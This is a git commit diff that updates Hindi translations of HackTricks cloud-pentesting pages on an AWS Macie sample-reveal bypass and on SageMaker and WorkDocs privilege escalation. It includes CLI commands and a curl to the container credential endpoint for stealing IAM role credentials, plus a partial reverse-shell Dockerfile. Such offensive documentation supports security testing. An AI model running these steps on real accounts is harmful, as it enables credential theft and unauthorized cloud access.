Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

This commit is contained in:
Translator
2025-08-01 10:14:09 +00:00
parent bd36fa3c4c
commit ca400f92b8
47 changed files with 584 additions and 405 deletions

View File

@@ -12,17 +12,17 @@ Macie के बारे में अधिक जानकारी के
### Amazon Macie - `Reveal Sample` इंटीग्रिटी चेक को बायपास करें
AWS Macie एक सुरक्षा सेवा है जो AWS वातावरण में संवेदनशील डेटा, जैसे कि क्रेडेंशियल्स, व्यक्तिगत पहचान योग्य जानकारी (PII), और अन्य गोपनीय डेटा का स्वचालित रूप से पता लगाती है। जब Macie एक संवेदनशील क्रेडेंशियल की पहचान करता है, जैसे कि S3 बकेट में संग्रहीत AWS सीक्रेट की, तो यह एक खोज उत्पन्न करता है जो मालिक को पता लगाए गए डेटा का "नमूना" देखने की अनुमति देता है। आमतौर पर, जब संवेदनशील फ़ाइल S3 बकेट से हटा दी जाती है, तो यह अपेक्षित होता है कि सीक्रेट को फिर से प्राप्त नहीं किया जा सकता।
AWS Macie एक सुरक्षा सेवा है जो AWS वातावरण में संवेदनशील डेटा को स्वचालित रूप से पहचानती है, जैसे कि क्रेडेंशियल, व्यक्तिगत पहचान योग्य जानकारी (PII), और अन्य गोपनीय डेटा। जब Macie एक संवेदनशील क्रेडेंशियल की पहचान करता है, जैसे कि S3 बकेट में संग्रहीत AWS सीक्रेट की, तो यह एक खोज उत्पन्न करता है जो मालिक को पहचानित डेटा का "नमूना" देखने की अनुमति देता है। आमतौर पर, एक बार जब संवेदनशील फ़ाइल S3 बकेट से हटा दी जाती है, तो यह अपेक्षित होता है कि सीक्रेट को फिर से प्राप्त नहीं किया जा सकता।
हालांकि, एक **बायपास** की पहचान की गई है जहा एक हमलावर जिसके पास पर्याप्त अनुमतियाँ हैं, **एक ही नाम के साथ एक फ़ाइल को फिर से अपलोड कर सकता है** लेकिन जिसमें विभिन्न, गैर-संवेदनशील डमी डेटा होता है। इससे Macie को नई अपलोड की गई फ़ाइल को मूल खोज के साथ जोड़ने का कारण बनता है, जिससे हमलावर **"Reveal Sample" फीचर** का उपयोग करके पहले से पता किए गए सीक्रेट को निकाल सकता है। यह समस्या एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करती है, क्योंकि जो सीक्रेट हटाए गए थे, वे इस विधि के माध्यम से पुनः प्राप्त किए जा सकते हैं।
हालांकि, एक **बायपास** पहचाना गया है जहा एक हमलावर जिसके पास पर्याप्त अनुमतियाँ हैं, **एक ही नाम के साथ एक फ़ाइल को फिर से अपलोड कर सकता है** लेकिन जिसमें विभिन्न, गैर-संवेदनशील डमी डेटा होता है। इससे Macie को नई अपलोड की गई फ़ाइल को मूल खोज के साथ जोड़ने का कारण बनता है, जिससे हमलावर **"Reveal Sample" फीचर** का उपयोग करके पहले से पहचानित सीक्रेट को निकाल सकता है। यह समस्या एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करती है, क्योंकि जो सीक्रेट हटाए गए थे वे इस विधि के माध्यम से पुनः प्राप्त किए जा सकते हैं।
![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
**पुन: उत्पन्न करने के चरण:**
1. एक फ़ाइल (जैसे, `test-secret.txt`) को संवेदनशील डेटा के साथ S3 बकेट में अपलोड करें, जैसे कि AWS सीक्रेट की। AWS Macie के स्कैन और खोज उत्पन्न होने की प्रतीक्षा करें।
1. एक फ़ाइल (जैसे, `test-secret.txt`) को संवेदनशील डेटा के साथ S3 बकेट में अपलोड करें, जैसे कि AWS सीक्रेट की। AWS Macie के स्कैन और खोज उत्पन्न करने की प्रतीक्षा करें।
2. AWS Macie खोजों पर जाएं, उत्पन्न खोज को खोजें, और पता लगाए गए सीक्रेट को देखने के लिए **Reveal Sample** फीचर का उपयोग करें।
2. AWS Macie खोजों पर जाएं, उत्पन्न खोज को खोजें, और पहचानित सीक्रेट देखने के लिए **Reveal Sample** फीचर का उपयोग करें।
3. S3 बकेट से `test-secret.txt` को हटा दें और सत्यापित करें कि यह अब मौजूद नहीं है।
@@ -30,8 +30,9 @@ AWS Macie एक सुरक्षा सेवा है जो AWS वात
5. AWS Macie खोजों पर वापस जाएं, मूल खोज तक पहुँचें, और फिर से **Reveal Sample** पर क्लिक करें।
6. देखें कि Macie अभी भी मूल सीक्रेट को प्रकट करता है, भले ही फ़ाइल को हटा दिया गया हो और इसे **विभिन्न खातों से विभिन्न सामग्री के साथ प्रतिस्थापित किया गया हो, हमारे मामले में यह हमलावर क खात होगा**
6. देखें कि Macie अभी भी मूल सीक्रेट को प्रकट करता है, भले ही फ़ाइल को हटा दिया गया हो और इसे **विभिन्न खातों से विभिन्न सामग्री के साथ प्रतिस्थापित किया गया हो, हमारे मामले में यह हमलावर क खात होगा**
**सारांश:**
यह भेद्यता एक हमलावर को, जिसके पास पर्याप्त AWS IAM अनुमतियाँ हैं, पहले से पता किए गए सीक्रेट को पुनः प्राप्त करने की अनुमति देती है, भले ही मूल फ़ाइल S3 से हटा दी गई हो। यदि एक AWS सीक्रेट की, एक्सेस टोकन, या अन्य संवेदनशील क्रेडेंशियल उजागर हो जात है, तो एक हमलावर इस दोष का लाभ उठाकर इसे पुनः प्राप्त कर सकता है और AWS संसाधनों तक अनधिकृत पहुँच प्राप्त कर सकता है। इससे विशेषाधिकार वृद्धि, अनधिकृत डेटा पहुँच, या क्लाउड संपत्तियों के आगे के समझौते का परिणाम हो सकता है, जिससे डेटा उल्लंघन और सेवा में व्यवधान हो सकता है।
यह भेद्यता एक हमलावर को पर्याप्त AWS IAM अनुमतियों के साथ पहले से पहचानित सीक्रेट को पुनः प्राप्त करने की अनुमति देती है, भले ही मूल फ़ाइल S3 से हटा दी गई हो। यदि एक AWS सीक्रेट की, एक्सेस टोकन, या अन्य संवेदनशील क्रेडेंशियल उजागर हो जात है, तो एक हमलावर इस दोष का लाभ उठाकर इसे पुनः प्राप्त कर सकता है और AWS संसाधनों तक अनधिकृत पहुँच प्राप्त कर सकता है। इससे विशेषाधिकार वृद्धि, अनधिकृत डेटा पहुँच, या क्लाउड संपत्तियों के आगे के समझौते का कारण बन सकता है, जिससे डेटा उल्लंघन और सेवा में व्यवधान हो सकता है।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,8 +1,10 @@
# AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
@@ -12,12 +14,12 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
`NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक इंस्टेंस का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं जिसका उपयोग हम नोटबुक इंस्टेंस तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो:
उत्तर में एक `NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं, जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\` पर क्लिक करें, फिर "Launcher" टैब पर स्क्रॉल करें और "Other" अनुभाग के तहत "Terminal" बटन पर क्लिक करें।
ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\`\` पर क्लिक करें, फिर Launcher टैब पर स्क्रॉल करें और Other अनुभाग के तहत Terminal बटन पर क्लिक करें।
अब IAM भूमिका के मेटाडेटा क्रेडेंशियल्स तक पहुंचना संभव है।
@@ -25,7 +27,7 @@ aws sagemaker create-presigned-notebook-instance-url \
### `sagemaker:CreatePresignedNotebookInstanceUrl`
यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से) सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए गए अनुसार क्रेडेंशियल्स चुरा सकते हैं**
यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से खोज सकते हैं) के साथ सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए अनुसार क्रेडेंशियल्स चुरा सकते हैं**
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
@@ -33,7 +35,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
### `sagemaker:CreateProcessingJob,iam:PassRole`
उन अनुमतियों के साथ एक हमलावर **सागेमेकर को एक प्रोसेसिंगजॉब** निष्पादित करने के लिए मजबूर कर सकता है जिसमें एक सागेमेकर भूमिका संलग्न है। हमलावर उस कंटेनर की परिभाषा निर्दिष्ट कर सकता है जो एक **AWS प्रबंधित ECS खाता उदाहरण** में चलाया जाएगा, और **संलग्न IAM भूमिका के क्रेडेंशियल्स चुरा सकता है**
एक हमलावर जिसके पास ये अनुमतियाँ हैं, वह **सागेमेकर को एक प्रोसेसिंगजॉब** निष्पादित करने के लिए कह सकता है जिसमें एक सागेमेकर भूमिका संलग्न है। हमलावर उस कंटेनर की परिभाषा निर्दिष्ट कर सकता है जो **AWS प्रबंधित ECS खाता उदाहरण** में चलाया जाएगा, और **संलग्न IAM भूमिका के क्रेडेंशियल्स चुरा सकता है**
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -49,16 +51,16 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बना सकेगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल्स चुरा सकेगा।
उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल्स चुराने में सक्षम होगा।
> [!WARNING]
> यह परिदृश्य पिछले वाले की तुलना में अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिव शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)।
> यह परिदृश्य पिछले वाले की तुलना में शोषण करने के लिए अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिवर्स शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)।
>
> ```bash
> # Docker छवि बनाएँ
> mkdir /tmp/rev
> ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य "train" को कॉल करने जा रही है
> ## यही कारण है कि मैं रिव शेल को /bin/train में रख रहा हूँ
> ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य को "train" कहा जाएगा
> ## यही कारण है कि मैं रिवर्स शेल को /bin/train में रख रहा हूँ
> ## <YOUR-IP-OR-DOMAIN> और <YOUR-PORT> के मान सेट करें
> cat > /tmp/rev/Dockerfile <<EOF
> FROM ubuntu
@@ -94,7 +96,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण नौकरी** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\
उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण कार्य** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\
_मैंने समय की कमी के कारण इसका लाभ नहीं उठाया, लेकिन यह पिछले शोषणों के समान लगता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_
## संदर्भ

View File

@@ -1,5 +1,7 @@
# AWS - WorkDocs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## WorkDocs
WorkDocs के बारे में अधिक जानकारी के लिए देखें:
@@ -15,7 +17,7 @@ WorkDocs के बारे में अधिक जानकारी के
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
```
### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
फाइलों में संवेदनशील जानकारी हो सकती है, इन्हें पढ़ें:
```bash
@@ -30,7 +32,7 @@ aws workdocs get-document --document-id <doc-id>
```
### `workdocs:AddResourcePermissions`
यदि आपके पास कुछ पढ़ने का एक्सेस नहीं है, तो आप बस इसे प्रदान कर सकते हैं
यदि आपके पास कुछ पढ़ने का अधिकार नहीं है, तो आप बस इसे प्रदान कर सकते हैं
```bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -38,9 +40,11 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
```
### `workdocs:AddUserToGroup`
आप एक उपयोगकर्ता को ZOCALO_ADMIN समूह में सेट करके व्यवस्थापक बना सकते हैं।\
आप एक उपयोगकर्ता को समूह ZOCALO_ADMIN में सेट करके व्यवस्थापक बना सकते हैं।\
इसके लिए [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) से निर्देशों का पालन करें।
उस उपयोगकर्ता के साथ workdoc में लॉगिन करें और `/workdocs/index.html#/admin` में व्यवस्थापक पैनल तक पहुँचें।
मैंने CLI से ऐसा करने का कोई तरीका नहीं पाया।
मैंने CLI से ऐसा करने का कोई तरीका नहीं पाया।
{{#include ../../../banners/hacktricks-training.md}}